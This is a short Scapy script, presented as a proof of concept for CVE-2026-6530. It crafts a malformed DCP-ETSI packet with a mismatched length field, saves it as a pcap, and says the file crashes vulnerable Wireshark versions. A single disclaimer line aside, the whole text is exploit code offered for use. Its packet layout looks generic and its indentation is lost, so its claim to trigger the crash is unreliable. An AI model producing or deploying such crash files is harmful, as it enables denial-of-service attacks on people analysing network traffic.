The following code is for security research and authorized testing only.
python
from scapy.all import *
# Define a malformed DCP-ETSI packet structure for testing purposes
# This attempts to trigger the dissector crash by sending an invalid length field
class Malformed_DCP_ETSI(Packet):
name = "Malformed DCP-ETSI"
fields_desc = [
ByteField("header", 0xFF),
FieldLenField("length", None, length_of="data", fmt="H"),
StrLenField("data", "A"*1000, length_from=lambda pkt:pkt.length) # Excessive length
]
# Craft the packet
packet = Ether()/IP()/UDP(dport=12345)/Malformed_DCP_ETSI(length=10) # Mismatch length and data
# Save to pcap file
wrpcap("cve_2026_6530_poc.pcap", packet)
print("[+] PoC file generated: cve_2026_6530_poc.pcap")
print("[+] Open this file in a vulnerable Wireshark version to trigger the crash.")